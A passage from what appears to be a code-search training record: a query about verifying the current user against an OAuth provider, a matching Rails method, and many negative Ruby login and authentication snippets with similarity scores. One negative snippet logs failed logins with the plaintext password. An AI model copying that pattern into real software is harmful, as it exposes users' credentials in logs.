return true if session[:affiliate]\n\n # store current location so that we can \n # come back after the user logged in\n store_location\n redirect_to :action =>\"login\" and return false \n end", "def logged_in_only()\n # session[:current_user_id] = 123\n # if you are a logged in user\n if(session[:current_user_id])\n # execute script inside of this block\n yield\n else\n # otherwise\n # send login failure and redirect to login\n flash[:warning] = \"Not Logged In\"\n redirect_to \"/login\"\n end\n end", "def login\r\n if request.get?\r\n # Logout user\r\n self.logged_in_user = nil\r\n else\r\n # Authenticate user\r\n user = User.try_to_login(params[:login], params[:password])\r\n if user\r\n self.logged_in_user = user\r\n # user.update_attribute(:ip_last, request.remote_ip)\r\n journal(\"log_in\",user.id)\r\n # generate a key and set cookie if autologin\r\n if params[:autologin] && Setting.autologin?\r\n token = Token.create(:user => user, :action => 'autologin')\r\n cookies[:autologin] = { :value => token.value, :expires => 1.year.from_now }\r\n end\r\n puts \"aqui\"\r\n if user.show? \r\n puts \"1\"\r\n redirect_back_or_default :controller => 'my', :action => 'athletes'\r\n else \r\n puts \"2\" \r\n redirect_back_or_default :controller => 'my', :action => 'page'\r\n end\r\n else\r\n # if user.locked?\r\n # flash.now[:notice] = l(:status_locked)\r\n # else\r\n flash.now[:notice] = l(:notice_account_invalid_creditentials)\r\n # end\r\n journal(\"invalid-\"+params[:login]+\"-\"+params[:password],0)\r\n end\r\n end\r\n end", "def authenticate\n if logged_in? && !session_expired?\n refresh_timeout\n else\n remote_login_error = remote_auth? && remote_user_name\n clear_session\n if remote_login_error\n flash_message(:error,\n I18n.t('main.external_authentication_user_not_found',\n name: Settings.remote_auth_login_name ||\n I18n.t('main.external_authentication_default_name')))\n end\n if request.xhr? # is this an XMLHttpRequest?\n # Redirect users back to referer, or else\n # they might be redirected to an rjs page.\n session[:redirect_uri] = request.referer\n head :forbidden # 403\n else\n session[:redirect_uri] = request.fullpath\n redirect_to root_path\n end\n end\n end", "def enforce_login\n redirect_to welcome_path if @user.nil?\n end", "def logged_user_only\n unless logged_in?\n\t store_location\n\t flash[:danger] = \"Please log in!\"\n\t redirect_to login_url\n\tend\n end", "def fb_login_and_redirect(url, options = {})\n js = update_page do |page|\n page.redirect_to url\n end\n\n text = options.delete(:text)\n \n content_tag(\"fb:login-button\",text,options.merge(:onlogin=>js))\n end", "def send_login_link(login_link)\n raise \"Not implemented\"\n end", "def login_without_usr_psd\n click_login_btn\nend", "def redirect_if_logged_in\n if current_user && session[:url_on_missing_user_session]\n url = session[:url_on_missing_user_session]\n session[:url_on_missing_user_session] = nil\n redirect_to url\n end\n end", "def log_on_cephuser(user,session,cookies)\n raise NotImplementedError\n end", "def logged_in\r\n end", "def authenticate\n unless session[:user_id]\n session['return_url'] = request.url\n logger.debug request.url\n # Recreate user abilities on each login\n @current_ability = nil\n redirect_to polymorphic_url(:new_user_session)\n end\n end", "def login_user_for_feature(user)\n visit new_user_session_path\n close_cookies_alert\n fill_in 'Email', with: user.email\n fill_in 'Password', with: user.password\n click_on 'Log in'\n user_should_be_logged_in\n page_should_finish_loading\nend", "def login_as\n real_user = (session[:real_uid] && User.find_by_id(session[:real_uid])) ||\n current_user\n if Settings.remote_user_auth\n validation_result = validate_user(params[:effective_user_login], real_user.user_name, nil, login: false)\n else\n validation_result = validate_user(params[:effective_user_login], real_user.user_name, params[:admin_password],\n login: true)\n end\n\n unless validation_result[:error].nil?\n # There were validation errors\n render partial: 'role_switch_handler',\n formats: [:js], handlers: [:erb],\n locals: { error: validation_result[:error] }\n return\n end\n\n found_user = validation_result[:user]\n if found_user.nil?\n return\n end\n\n # Check if an admin trying to login as the current user\n if found_user == current_user\n # error\n render partial: 'role_switch_handler',\n formats: [:js], handlers: [:erb],\n # TODO: put better error message\n locals: { error: I18n.t('main.login_failed') }\n return\n\n end\n # Check if an admin is trying to login as another admin.\n # Should not be allowed unless switching back to original admin role\n if found_user.admin? && found_user != real_user\n # error\n render partial: 'role_switch_handler',\n formats: [:js], handlers: [:erb],\n locals: { error: I18n.t('main.role_switch.cannot_login_as_another_admin') }\n return\n end\n\n # Save the uid of the admin that is switching roles if not already saved\n session[:real_uid] ||= session[:uid]\n\n # Log the date that the role switch occurred\n m_logger = MarkusLogger.instance\n if current_user != real_user\n # Log that the admin dropped role of another user\n m_logger.log(\"Admin '#{real_user.user_name}' logged out from \" +\n \"'#{current_user.user_name}'.\")\n end\n\n if found_user != real_user\n # Log that the admin assumed role of another user\n m_logger.log(\"Admin '#{real_user.user_name}' logged in as \" +\n \"'#{found_user.user_name}'.\")\n else\n # Reset real user id because admin resumed their real role\n session[:real_uid] = nil\n end\n\n # Change the uid of the current user\n self.current_user = found_user\n\n if logged_in?\n session[:redirect_uri] = nil\n refresh_timeout\n # All good, redirect to the main page of the viewer, discard\n # role switch modal\n render partial: 'role_switch_handler',\n formats: [:js], handlers: [:erb],\n locals: { error: nil }\n else\n render partial: 'role_switch_handler',\n formats: [:js], handlers: [:erb],\n locals: { error: I18n.t('main.login_failed') }\n end\n end" ]
[ "0.72326684", "0.69053364", "0.68499196", "0.6596334", "0.6574196", "0.6561503", "0.6402606", "0.64008677", "0.6392955", "0.63889605", "0.63610774", "0.63552415", "0.634398", "0.6316881", "0.63046753", "0.62801564", "0.6261665", "0.62613", "0.62404746", "0.6212286", "0.6180603", "0.61767685", "0.6163505", "0.61538655", "0.6152447", "0.6146346", "0.61309654", "0.6128658", "0.61224943", "0.6116032", "0.61111325", "0.61066484", "0.61017466", "0.6088232", "0.60867316", "0.6064284", "0.6059457", "0.60517955", "0.60464615", "0.60444534", "0.60342616", "0.6034128", "0.6032485", "0.6030363", "0.60251904", "0.6019283", "0.6014395", "0.6012559", "0.6002881", "0.60015666", "0.5980937", "0.59705245", "0.59650904", "0.5964367", "0.5962605", "0.5959382", "0.59557486", "0.5947675", "0.5947067", "0.5942868", "0.5937876", "0.59281886", "0.59276104", "0.59272176", "0.59272176", "0.59242046", "0.59230506", "0.5922506", "0.5918432", "0.5918347", "0.59170604", "0.5915896", "0.59143597", "0.59130955", "0.5909432", "0.5906094", "0.5904996", "0.58940667", "0.5887232", "0.58799255", "0.5878964", "0.5878942", "0.5877592", "0.58754796", "0.58750886", "0.5874105", "0.58724934", "0.5864709", "0.58599067", "0.58593744", "0.5856204", "0.5856097", "0.5853356", "0.5852765", "0.58496004", "0.5848039", "0.584754", "0.58472514", "0.5846179", "0.5845962", "0.58439493" ]
0.0
-1
Checks if the current user is the same one as provided. If not, authenticate the user through the provider.
def generic_check(provider, uid=nil) session[:auth_popup] = true if params[:popup] if uid if current_user == (Authentication.find_by_provider_and_uid(provider, uid).user rescue nil) redirect_to(root_path) return end end redirect_to "/users/auth/#{provider}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def authenticate_user!\n if current_user.id != @user.id\n redirect_back(fallback_location: root_path)\n end\n end", "def authenticate\n if @current_user\n else\n redirect_to login_url\n end\n end", "def check_authentication\n authenticate_user\n end", "def authenticate_user!\n return true if current_user\n # get token and options\n authenticate_or_request_with_http_token do |token, options|\n access_token = AccountAccessToken.where('token_value = ? AND expires > ?', token, Date.today).first\n if access_token\n sign_in access_token.account\n else\n unauthenticated!\n end\n end\n end", "def authenticate_current_user\n raise_not_authorized_error unless current_user\n end", "def authenticate_user\n if !current_user\n redirect_to login_path\n end\n end", "def authenticate_user\n if !current_user\n redirect_to login_path\n end\n end", "def correct_user(user)\n user == current_user\n end", "def check_authenticate_user\n if request.headers[:token].present?\n @auth_token = AuthToken.find_by(token: request.headers[:token])\n @current_user = auth_token.user if @auth_token.present?\n unless @auth_token && @current_user\n error_response_with_obj(HTTP_UNAUTHORIZED[:code], \"Invalid Authentication token\")\n end\n else\n error_response_with_obj(HTTP_UNAUTHORIZED[:code], \"Invalid Authentication token\")\n end\n end", "def authenticate_user\n if current_user\n true\n else\n raise Exceptions::AuthorizationError.new('invalid user authorization')\n end\n end", "def authenticate\n authenticate_or_request_with_http_token do |token, _options|\n @current_user = User.find_by token: token\n end\n end", "def current_user\n # For API access, allow ?authenticate_user=username since no passwords\n @current_user ||= params[:authenticate_user] && (User.find_by username: params[:authenticate_user])\n end", "def current_user? user\n if user == nil\n false\n elsif self.username == user.username\n true\n elsif\n false\n end\n end", "def authenticate_user\n authenticate_or_request_with_http_token do |token, options|\n @user = User.find_by_auth_key(token)\n head :unauthorized unless @user\n return\n end\n end", "def check_user\n @user = authenticate(@campaign.user_id, request.path, nil)\n end", "def authenticate_user?\n !current_user.nil?\n end", "def authenticate_user!\n payload = decode_token\n return unless payload.is_a? Hash\n\n @current_user = User.find payload[:user_id]\n end", "def authenticate_user\n current_user\n end", "def current_user_with_oauth\n current_user_without_oauth || current_oauth_user\n end", "def create\n if current_user\n find_or_create_authentication_for_current_user\n else\n apply_omniauth_to_new_or_existing_user\n end\n end", "def authenticate_user!\n authenticated =\n if security.authenticate? || !defined? super\n instance_exec(&security.authenticate)\n else\n Logger.deprecated 'Wallaby will use `authenticate_wallaby_user!`' \\\n 'instead of `authenticate_user!` from 6.2.'\n super\n end\n raise NotAuthenticated if authenticated == false\n\n true\n end", "def authenticate_user\n authenticate_or_request_with_http_token do |token, options|\n @user = User.find_by_auth_key(token)\n head :unauthorized unless @user\n return\n end\n end", "def authenticate_user\n if session[:user_id]\n # set current user object to @current_user object variable\n puts \"===============================================auth_if==============================================\"\n @current_user = User.find session[:user_id]\n return true\n else\n puts \"===============================================auth_else==============================================\"\n redirect_to(:controller => 'welcome', :action => 'index')\n return false\n end\n end", "def authenticated_user\n user if valid? && user&.authenticated?(password)\n end", "def authenticate_user_from_token!\n authenticate_with_http_token do |token, options|\n user_email = options[:email].presence\n user = user_email && User.find_by_email(user_email)\n\n if user && Devise.secure_compare(user.api_token, token)\n sign_in user, store: false\n end\n end\n end", "def authenticate_user_from_token!\n authenticate_with_http_token do |token, options|\n user_email = options[:email].presence\n user = user_email && User.find_by_email(user_email)\n\n if user && Devise.secure_compare(user.authentication_token, token)\n sign_in user, store: false\n end\n end\n end", "def authenticate_using_session\n return if current_user\n session_uid = session[:authpwn_suid]\n user = session_uid && Tokens::SessionUid.authenticate(session_uid)\n self.current_user = user if user && !user.instance_of?(Symbol)\n end", "def current_user\n @current_user ||= User.find_by(id: authenticate_user)\n end", "def check_correct_user(user)\n \tcurrent_user?(user)\n end", "def current_auth_user\n @current_auth_user ||= auth_key.try :owner\n end", "def authenticate!\n if params[:user]\n user = User.find_by(email: params[:user][:user_name])\n if user and user.local? and user.valid_password?(params[:user][:password])\n success!(user)\n else\n fail\n end\n elsif auth\n user = User.find_by(email: auth.credentials.first)\n if user and user.local? and user.valid_password?(auth.credentials[1])\n success!(user)\n else\n fail\n end\n else\n fail\n end\n end", "def check_current_user\n if !current_user.nil?\n Thread.current[:user] = current_user\n end\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def authenticate\n authenticate_or_request_with_http_token do |token _options|\n @current_user = User.find_by token: token\n end\n end", "def authenticate_with_digest\n authenticate_or_request_with_http_digest(REALM) do |mkey|\n @user = @current_user = User.find_by_mkey(mkey)\n @user && @user.auth\n end\n end", "def current_provider\n if (provider_id = session[:provider_id])\n @current_provider ||= Provider.find_by(id: session[:provider_id])\n elsif (user_id = cookies.signed[:provider_id])\n user = User.find_by(id: provider_id)\n if user && user.authenticated?(:remember, cookies[:remember_token])\n log_in provider\n @current_provider = provider\n end\n end\n end", "def verify_logged_in_user\n unless github_user && warden_github_sso_session_valid?(github_user, 120)\n request.env['warden'].logout\n request.env['warden'].authenticate!\n end\n @current_user = User.from_oauth(github_user)\n end", "def authenticate_user_from_token\n authenticate_with_http_token do |token, options|\n user_email = options[:email]\n user_email && User.where(email: user_email, authentication_token: token).first\n end\n end", "def authenticate\n @current_user = Account.authenticate_user(request.authorization)\n SmsConnect.present_user = @current_user\n end", "def authenticate_user\n if not params.has_key?(:auth_token)\n failure\n return\n end\n @current_user = User.find_by_authentication_token(params[:auth_token])\n # Adding the conditional to throw json error\n unless @current_user\n failure\n end\n end", "def authenticate_user!\n token, options = ActionController::HttpAuthentication::Token.token_and_options(request)\n\n super unless token == 'rbMmEeoH8RxRDyN24PQv'\n end", "def authenticate_user\n\t if session[:user_id]\n\t # set current user object to @current_user object variable\n\t @current_user = User.find session[:user_id] \n\t return true\t\n\t else\n\t redirect_to(:controller => 'sessions', :action => 'login')\n\t return false\n\t end\n\tend", "def authenticate_user\n Rails.application.config.use_omniauth ? login_required : check_session\n end", "def authenticate_user_from_token!\n raise AuthorizationError unless http_auth_token.present?\n result = find_user\n raise BadRequestError, result.errors if result.failure?\n @current_user = result.current_user\n end", "def authenticate_user\n if !current_user\n redirect_to \"/auth/google_oauth2\", :id => \"sign_in\" and return\n elsif current_user.mtu_id != @player.mtu_id && !Player.exists?(mtu_id: current_user.mtu_id, committee: true)\n redirect_to player_path(@player), notice: \"The signed in user account cannot access this resource\" and return\n end\n end", "def user_is_current\n fetch_user\n\n unless current_user?(@user)\n flash[:error] = t(:not_authorized)\n redirect_to root_path\n end\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\r\n user == current_user\r\n end", "def current_user?(user)\n current_user == user\n end", "def current_user?(user)\n current_user == user\n end", "def current_user?(user)\n current_user == user\n end", "def current_user?(user)\n current_user == user\n end", "def current_user?(user)\n current_user == user\n end", "def current_user?(user)\n current_user == user\n end", "def current_user?(user)\n current_user == user\n end", "def current_user?(user)\n current_user == user\n end", "def check_same_user\n auth = request.cookies['sifu_authorization'].split(' ')[1]\n user = Login.find_by(oauth2_token: auth)\n return render json: {\"Message\": \"No authentication cookie detected.\"}, status: :unauthorized if user.nil?\n render json: {}, status: :unauthorized unless user.uid.eql? params['username']\n end", "def current_user\n super\n if @current_user\n return @current_user\n end\n\n authenticate_user!\n @current_user\n end", "def multi_authenticate\n if user_signed_in?\n @user = current_user #from devise authentication\n else\n @user = find_user(request, cookies) #find user by user_cookie\n end\n end", "def authenticate?( user, salt, auth )\n return auth == calculate_auth_string( salt, user )\n end", "def current_user?(user)\n\t\tcurrent_user == user\n\tend", "def authenticate_user_from_token!\n logger.info \"authenticating user\"\n authenticate_with_http_token do |token, options|\n username = options[:username].presence\n user = username && User.find_by_username(username)\n logger.info \"username: \" + username\n logger.info \"user: \" + user.inspect\n logger.info \"token: \" + token\n logger.info \"user_token: \" + user.auth_token\n if user && Devise.secure_compare(user.auth_token, token)\n sign_in user, store: false\n logger.info \"current_user: \" + current_user.inspect\n else\n logger.error \"login failed\"\n end\n end\n end", "def authenticate\n user = User.active.where(\"email_id = ?\", self.email_id).first\n if user.present?\n return user.hashed_password == Digest::SHA1.hexdigest(user.password_salt.to_s + self.password)\n end\n return false\n end", "def authenticate_normal_user\n unless authenticate\n return false\n end\n logged_in_normal_user? ? true : access_denied\n end", "def authenticate!\n\n # mapping comes from devise base class, \"mapping.to\" is the class of the model\n # being used for authentication, typically the class \"User\". This is set by using\n # the `devise` class method in that model\n klass = mapping.to\n\n if request.headers['HTTP_X_MY_API'].present?\n # the returned user object will be saved and serialised into the session\n user = klass.find_or_initialize_by_email(request.headers['HTTP_X_MY_API'])\n success! user\n end\n\n # if we wanted to stop other strategies from authenticating the user\n end", "def authenticate_user\n unless session[:user_id]\n #If there's no user_id in the current session the user is redirected to the login page.\n redirect_to(:controller => 'sessions', :action => 'login')\n return false\n else\n #If there is a current user_id in the session @current_user will receive the User business object corresponding to\n #that ID.\n @current_user = User.find session[:user_id]\n return true\n end\n end", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def authenticate!\n :authenticate_developer! || :authenticate_charity!\n current_user = developer_signed_in? ? current_developer : current_charity\n end", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def authenticate_verify_user\n if !current_user.present?\n redirect_to request.referrer\n elsif !current_user.has_profile?\n redirect_to profile_dashboard_users_path + NEW_USER\n else\n return true\n end\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end" ]
[ "0.69684434", "0.6871805", "0.67951375", "0.67872214", "0.67681324", "0.6751601", "0.6751601", "0.6734407", "0.6679426", "0.66778076", "0.66728437", "0.6657211", "0.66512597", "0.66240054", "0.6610319", "0.66011715", "0.65973324", "0.6578689", "0.65686876", "0.65642935", "0.6563427", "0.6560946", "0.65450615", "0.6543841", "0.6538582", "0.6536896", "0.6534514", "0.6532266", "0.65313363", "0.65164876", "0.65081084", "0.6499438", "0.64987105", "0.64987105", "0.64987105", "0.64987105", "0.64987105", "0.64987105", "0.64987105", "0.6497122", "0.6496923", "0.64954597", "0.6491425", "0.64821357", "0.64793545", "0.64764184", "0.64753884", "0.6473846", "0.6470104", "0.6466801", "0.6458595", "0.64444715", "0.6443795", "0.64394903", "0.64315784", "0.64315784", "0.64315784", "0.64315784", "0.64315784", "0.64315784", "0.64315784", "0.64315784", "0.6415364", "0.6415075", "0.6414906", "0.6412125", "0.6411631", "0.64083695", "0.640406", "0.64020276", "0.63990885", "0.63895386", "0.63889956", "0.63879013", "0.63873744", "0.63873744", "0.63873744", "0.63873744", "0.63873744", "0.63873744", "0.63873744", "0.63873744", "0.63873744", "0.63873744", "0.6387309", "0.6385199", "0.63846236", "0.63846236", "0.63846236", "0.63846236", "0.63846236", "0.63846236", "0.63846236", "0.63846236", "0.63846236", "0.63846236", "0.63846236", "0.63846236", "0.63846236", "0.63846236", "0.63846236" ]
0.0
-1
Return booking request list where your user ID is equal to the owner ID on the booking = Other users requesting your space.
def my_space_requests my_space_requests = CONNECTION.exec("SELECT id FROM bookings WHERE owner_id='#{@user_id}'") return my_space_requests end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def eligible_owners\n User.where('users.id != ?', @cookbook.user_id)\n end", "def index\n @bookings = Booking.where(consumer_id: current_user).or(Booking.where(consultant_id: current_user))\n\n end", "def owner_request_ids\n Request.by_owner.pluck(:id).sort\n end", "def owner_request_ids\n Request.by_owner.pluck(:id).sort\n end", "def owner_request_ids\n Request.by_owner.pluck(:id).sort\n end", "def friend_requests\n FriendRequest.all.select do |req|\n req.to_user_id == self.id && req.pending\n end\n end", "def find_owner_appointments\n owner_appointments = Appointment.all.select { |appointment| appointment.owners.include?(self) || appointment.owner_id == id } \n if !owner_appointments.empty?\n owner_appointments\n else\n nil\n end\n end", "def index\n @bookings = current_user.bookings.where.not('is_canceled')\n end", "def credit_requester_for_unused_group_requests\n requester_request_groups = RequestGroup.where([\"request_id = ?\", @request_group.request_id])\n if requester_request_groups.count > 1\n request_groups_not_accepted = requester_request_groups.reject { |request_group| request_group.group_id == @request_group.group_id }\n requester = @request_group.request.user\n request_groups_not_accepted.each { |request_group| requester.add_tokens(request_group) } \n end\n end", "def get_users_on_flight_reject_requester\n\n\t\t# Then query saved journeys using the 'purchased_flight' identifier\n\t\t# for a list of the the other user id's who are on the flight\n\t\t# \n\t\t# Remove the queryer from the list and remove sensetive information\n\t\t# \n\t\t# Done. Return our model list\n\n\t\tjourney_id = params[\"journeyId\"]\n\t\tuser_id = params[\"userId\"]\n\n\t\tuser_list = User.on_journey(journey_id).reject{ |s| s.id == user_id }\n\n\t\trender json: user_list.as_json(only: [:id, :first_name, :last_name, :email]), status: 200\n\n\tend", "def friend_requests\n inverse_friendships.map { |friendship| friendship.user unless friendship.confirmed }.compact\n end", "def friend_requests\n inverse_friendships.map { |friendship| friendship.user unless friendship.confirmed }.compact\n end", "def index\n # byebug\n if params[:requester] == \"sent\"\n @friend_requests = current_user.friend_requests_as_requester\n else\n @friend_requests = current_user.friend_requests_as_requested\n end\n filter_friend_requests\n end", "def friend_request_pending?(other_user)\n requested_friendships.to_ary.any? { |u| u.requestee_id == other_user.id }\n end", "def index\n @users = current_user.requesters.where('requests.accepted = ?', false)\n end", "def not_pending\n if user.incoming_friend_requests.pluck(:user_id).include?(friend_id)\n errors.add(:friend, 'already requested friendship')\n end\n end", "def friend_requests\n @user_fr.inverse_friendships.map { |friendship| friendship.user unless friendship.confirmed }.compact\n end", "def bookings_requested\n # select * from bookings where patient_id = current_user.id\n @bookings_requested = current_user.bookings\n end", "def friendable_users\n User.all.where.not('id IN (?)', [id] + friends.ids +\n friend_requests_sent.pending.pluck(:receiver_id) + friend_requests_received.pending.pluck(:sender_id))\n end", "def index\n # @booking = Booking.where(user_id: current_user.id)\n if current_user.is_admin\n @bookings = Booking.all\n elsif current_user.is_agent\n # tour_owner = Tour.where(id: params[:tour_id]).pluck(:user_id)\n @bookings = Booking.where(tour_id: params[:tour_id])#.where(user_id: tour_owner)\n elsif current_user.is_customer\n @bookings = Booking.where(user_id: current_user.id)\n end\n\n end", "def my_booking_requests\n my_booking_requests = CONNECTION.exec(\"SELECT id FROM bookings WHERE client_id='#{@user_id}'\")\n return my_booking_requests\n end", "def overlapping_approved_requests\n overlapping_requests.where(status: \"APPROVED\")\n end", "def friend_requests\n inverse_friendships.map{|friendship| friendship.user if !friendship.confirmed}.compact\n end", "def owner_id_list(resource)\n case resource\n when \"requests\"\n owner_request_ids\n when \"actions\"\n Action.where(:request_id => owner_request_ids).pluck(:id).sort\n else\n raise ArgumentError, \"Unknown resource type: #{resource}\"\n end\n end", "def booking_same_user_same_tour\n return Booking.where(user_id: user_id).find_by(tour_id: tour_id)\n end", "def find_requests\n @responsibility_requests = ResponsibilityRequest.paginate(:page => @page,\n :per_page => @per_page,\n :conditions => \"status='pending' OR status IS NULL\")\n \n @responsibility_requests.delete_if{|r| !r.user_can_approve(current_user) && (r.user != current_user) }\n end", "def deletependingbooking(user)\n body = JSON.parse(HTTParty.get('https://firestore.googleapis.com/v1beta1/projects/'+ENV[\"FIREBASE\"]+'/databases/(default)/documents/bookings').body)\n list = body[\"documents\"]\n\n for el in list\n # pending booking\n if el[\"fields\"][\"user\"][\"stringValue\"] == user.email and el[\"fields\"][\"active\"][\"booleanValue\"]\n name = el[\"name\"]\n city = el[\"fields\"][\"city\"][\"stringValue\"]\n park = el[\"fields\"][\"park\"][\"stringValue\"]\n lockHash = el[\"fields\"][\"lockHash\"][\"stringValue\"]\n\n # free locker\n new_body = JSON.parse(HTTParty.get('https://firestore.googleapis.com/v1beta1/projects/'+ENV[\"FIREBASE\"]+'/databases/(default)/documents/cities/'+hash_code(city).to_s+'/parks/'+hash_code(city+park).to_s+'/lockers/'+lockHash).body)\n \n new_body.delete(\"createTime\") #useless field\n new_body.delete(\"updateTime\") #useless field\n new_body[\"fields\"][\"user\"][\"stringValue\"] = '\"\"'\n new_body[\"fields\"][\"available\"][\"booleanValue\"] = true\n new_body[\"fields\"][\"open\"][\"booleanValue\"] = false\n \n HTTParty.patch('https://firestore.googleapis.com/v1beta1/projects/'+ENV[\"FIREBASE\"]+'/databases/(default)/documents/cities/'+hash_code(city).to_s+'/parks/'+hash_code(city+park).to_s+'/lockers/'+lockHash, \n body: JSON.generate(new_body), headers: {\"Content-Type\": \"application/json\"} )\n\n # delete booking\n HTTParty.delete('https://firestore.googleapis.com/v1beta1/'+name)\n end\n end\n end", "def friend_requests\n Friendship.where(friend_id: id, status: false)\n end", "def overlapping_requests\n CatRentalRequest\n .where('? >= start_date', self.end_date)\n .where('? <= end_date', self.start_date)\n .where('? IS NULL OR id != ?', self.id, self.id)\n end", "def tickets_unused\n if params[:days]\n since = Time.zone.now - params[:days].to_i.days\n tickets = Ticket.where('user_id != owner_id').where(user_id: 0)\n .joins(:event)\n .where('start_time > ?', since)\n respond_with json_response('tickets_unused', tickets.count)\n else\n respond_with json_response(\n 'tickets_unused',\n Ticket.where('user_id != owner_id').where(user_id: 0).count\n )\n end\n end", "def friends\n # receivers = Friendship.where(:receiver_id => self.id).map(&:requester_id)\n # requesters = Friendship.where(:requester_id => self.id).map(&:receiver_id)\n # friends = receivers + requesters\n # User.where(:id => friends.uniq)\n friendship_ids = Friendship.where(\"receiver_id = :id or requester_id = :id\", id: id).pluck(:requester_id, :receiver_id).flatten.uniq\n # binding.pry\n User.except(id).where(:id => friendship_ids)\n # User.joins(:friendships).where(friendships: {:receiver_id => id})\n end", "def index\n #approve_request\n @resource_transportation_bookings = ResourceTransportationBooking.where(:requester_id => \"#{current_user.id}\").order.page(params[:page]).per(5)\n end", "def possible_friends\n User.all - self.requesters - self.requestees-self.friends-User.where(id:self.id)\n end", "def pending_friend_requests_from\n self.inverse_friendships.where(state: \"pending\")\n end", "def pending_recieved_friend_requests\n friend_uids = []\n friend_uids = friend_uids + self.received_friend_requests.pluck(:sender_uid)\n return User.where(:uid => friend_uids)\nend", "def pending_friend_requests_to\n self.friendships.where(state: \"pending\")\n end", "def index\n @items = Item.select { |item| item.user == current_user}\n @bookings = Booking.select { |booking| booking.user == current_user }\n end", "def borrowable_items\n# items.where(\"borrower_id = 0\")\n Item.all.where(\"borrower_id = 0 and lender_id != :owner\", {owner: self.id})\n end", "def requester_ids\n @requester_ids ||= []\n end", "def received_friend_requests\n Friendship.where(:reciever_uid => self.uid, :accepted => false)\nend", "def recieved_requests\n FriendshipRequest.where(\"requested_user_id = ?\", id)\n end", "def friend_request\n @friend_requests = FriendRequest.where(:friend_id=>current_user.id,:status=>\"friend request pending\")\n end", "def no_time_overlap\n @other_bookings = Booking.where(:date => date)\n @other_bookings.each do |other_booking|\n if other_booking.time.strftime(\"%I:%M%p\") == time.strftime(\"%I:%M%p\") && other_booking.room_id == room_id\n errors.add(:time, \"Cannot book, overlapping sessions!\")\n end\n end\n end", "def cancel_request(other_user)\n\t\trelationship = requested_relationships.find_by(friend_pasive_id: other_user.id)\n\t\tif requested_friends.include?(other_user) && relationship.accepted == false\n\t\t\trelationship.destroy\n\t\tend\n\tend", "def owner_id_list(resource)\n id_list(resource, owner_request_ids)\n end", "def friend_request(other_user)\n\t\trequested_friends.push(other_user)\n\tend", "def pending_friend_requests\n if ! ensure_same_as_logged_person(params['user_id'])\n render_json :status => :forbidden and return\n end\n render_json :entry => @user.pending_contacts\n end", "def filter_by_owner(array_to_filter)\n filtered_array = []\n if session[:owner]\n array_to_filter.each do |object|\n if object.owner == session[:owner]\n filtered_array << object\n end\n end\n else\n filtered_array = array_to_filter\n end\n filtered_array\n end", "def destroy\n booking = Booking.find(params[:id])\n\n # Check if user is the owner of the booking\n if current_user[:id] == booking[:user_id]\n if booking.destroy\n render json: { status: 'SUCCESS', message: 'Deleted booking', data: booking }, status: :ok\n else\n render json: { status: 'FAILURE', message: 'Something went wrong' }, status: :unprocessable_entity\n end\n end\n end", "def eligible_collaborators\n ineligible_users = [@cookbook.collaborators, @cookbook.owner].flatten\n User.where('users.id NOT IN (?)', ineligible_users)\n end", "def reject_friend_request\n if remove_any_connection_between(params['user_id'], params['friend_id'])\n render_json :entry => {}\n end\n end", "def send_friend_request(other_user)\n friend_requests << other_user\n end", "def index\n @bookings = Booking.all\n # Bookings where the current user is the expert\n @as_expert = Booking.where(expert: current_user)\n # Bookings where the current user is the client\n @as_client = Booking.where(client: current_user)\n\n # All session that the current user is a part of\n @sessions = @as_expert | @as_client\n end", "def sent_friend_requests\n Friendship.where(:sender_uid => self.uid, :accepted => false)\nend", "def friend_requests \n self.friend_requests_as_receiver.sort_by{ |request| request.requestor.name }\n end", "def filter_by_owner(array_to_filter)\n filtered_array = []\n if session[:owner]\n array_to_filter.each do |object|\n if object.owner == session[:owner]\n filtered_array << object\n end\n end\n else\n filtered_array = array_to_filter\n end\n filtered_array\n end", "def booking_params\n params.require(:booking).permit(:user_id, :cancel, :slot_ids[])\n end", "def owner_id_list(resource)\n case resource\n when \"requests\"\n owner_request_ids\n when \"stages\"\n owner_stage_ids(owner_request_ids)\n when \"actions\"\n Action.where(:stage_id => owner_stage_ids(owner_request_ids)).pluck(:id).sort\n else\n raise ArgumentError, \"Unknown resource type: #{resource}\"\n end\n end", "def index\n @bookings = Booking.where(\"user_id = #{current_user.id}\")\n end", "def pending_friend_requests_from\n \tself.inverse_friendships.where(state: \"pending\")\n end", "def check_booking_user\n if current_user.id != @booking.user.id\n redirect_to bookings_path, notice: \"Cannot view a booking belonging to another user.\"\n end\n end", "def requests_received\n friends = Friend.where(friend_id: params[:user_id], accepted: false)\n\t render json:friends\n end", "def where_no_developers\n [[:educator_id, '!=', 12],\n [:educator_id, '!=', 509]]\n end", "def index\n @reservation_owners = ReservationOwner.all\n end", "def pending_sent_friend_requests\n friend_uids = []\n friend_uids = friend_uids + self.sent_friend_requests.pluck(:reciever_uid)\n return User.where(:uid => friend_uids)\nend", "def overlapping_dates\n reservation = Reservation.find(params[:id])\n space = reservation.space\n\n start_date = 